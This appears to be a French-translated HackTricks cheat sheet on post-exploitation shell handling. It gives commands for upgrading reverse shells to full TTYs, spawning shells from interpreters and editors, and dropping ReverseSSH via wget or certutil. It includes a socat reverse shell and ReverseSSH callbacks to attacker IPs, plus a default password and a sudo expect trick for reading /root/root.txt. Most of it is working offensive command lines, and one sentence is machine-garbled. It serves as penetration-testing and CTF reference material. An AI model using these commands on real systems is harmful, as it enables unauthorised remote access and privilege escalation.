Full TTYs

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

TTY complète

Notez que l'interpréteur de commandes que vous définissez dans la variable SHELL doit être listé à l'intérieur de /etc/shells ou La valeur de la variable SHELL n'a pas été trouvée dans le fichier /etc/shells. Cet incident a été signalé. De plus, notez que les extraits de code suivants ne fonctionnent que dans bash. Si vous êtes dans un zsh, passez à un bash avant d'obtenir l'interpréteur de commandes en exécutant bash.

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Vous pouvez obtenir le nombre de lignes et de colonnes en exécutant stty -a

script

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Générer des shells

  • python -c 'import pty; pty.spawn("/bin/sh")'

  • echo os.system('/bin/bash')

  • /bin/sh -i

  • script -qc /bin/bash /dev/null

  • perl -e 'exec "/bin/sh";'

  • perl: exec "/bin/sh";

  • ruby: exec "/bin/sh"

  • lua: os.execute('/bin/sh')

  • IRB: exec "/bin/sh"

  • vi: :!bash

  • vi: :set shell=/bin/bash:shell

  • nmap: !sh

ReverseSSH

Un moyen pratique pour accéder à un shell interactif, ainsi que pour transférer des fichiers et rediriger des ports, est de déposer le serveur ssh statiquement lié ReverseSSH sur la cible.

Voici un exemple pour x86 avec des binaires compressés avec upx. Pour d'autres binaires, consultez la page des versions.

  1. Préparez localement pour intercepter la demande de redirection de port ssh :

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444
  • (2a) Cible Linux:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
  • (2b) Cible Windows 10 (pour les versions antérieures, consultez le readme du projet):

```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

* Si la demande de transfert de port ReverseSSH a réussi, vous devriez maintenant pouvoir vous connecter avec le mot de passe par défaut `letmeinbrudipls` dans le contexte de l'utilisateur exécutant `reverse-ssh(.exe)`:
```bash
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Pas de TTY

Si pour une raison quelconque vous ne pouvez pas obtenir un TTY complet, vous pouvez toujours interagir avec des programmes qui attendent une entrée utilisateur. Dans l'exemple suivant, le mot de passe est passé à sudo pour lire un fichier :

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

D'autres façons de soutenir HackTricks :

Dernière mise à jour